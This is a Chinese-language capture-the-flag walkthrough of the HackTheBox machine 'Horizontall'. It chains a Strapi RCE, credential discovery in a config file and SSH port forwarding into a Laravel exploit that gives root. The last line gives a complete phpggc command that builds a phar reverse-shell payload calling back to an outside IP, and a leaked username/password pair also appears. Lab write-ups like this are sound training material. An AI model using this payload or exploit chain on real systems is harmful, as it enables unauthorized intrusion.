Horizontall
nmap扫描,开放22、80,80对应站点http://horizontall.htb
访问80
dirsearch扫描,也没有东西
看wp之后发现在response的js文件里,有一个新的域名,虽然我仍然没找到
修改hosts文件之后访问http://api-prod.horizontall.htb/
找到一个admin路径,访问之后跳转到认证页面,使用了strapi
CMS
熟悉的套路就是Google exp,然后就找到了RCE
使用脚本,成功RCE,但是是无回显
直接反弹shell
检查/etc/passwd,看到developer
用户
strapi用户可以直接读取developer用户家目录下的user.txt
检查本地,存在MySQL
尝试寻找MySQL数据库登录方式,在/opt/strapi/myapi/config/environments/development
下的database.json
中找到一堆账号密码developer/#J!:F9Zt2u
但是该密码无法登录developer的ssh,还是从数据库入手。最终在数据库中找到strapi的管理员密码的密文值。
上john爆破也没爆出来
回顾前面的内容,发现本地还开放了1337
和8000
。探测这两个端口的服务,发现8000开放Lavarel
。
写ssh公钥,用于之后的端口转发
本地ssh-keygen
生成id_rsa.pub
,然后将id_rsa.pub
的内容写入strapi家目录下的.ssh/authorized_keys
中
本地设置ssh端口转发,将10.10.11.105主机上127.0.0.1:8000
转发到本地的8000端口
当再去访问本地的8000时,就访问到了10.10.11.105的8000端口上的Laravel服务,版本为v8
Laravel存在CVE,之前的某道题中用到过,所以直接找exp进行利用了
https://github.com/ambionics/laravel-exploits
直接拿到root权限
反弹shell
php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/1234 0>&1'"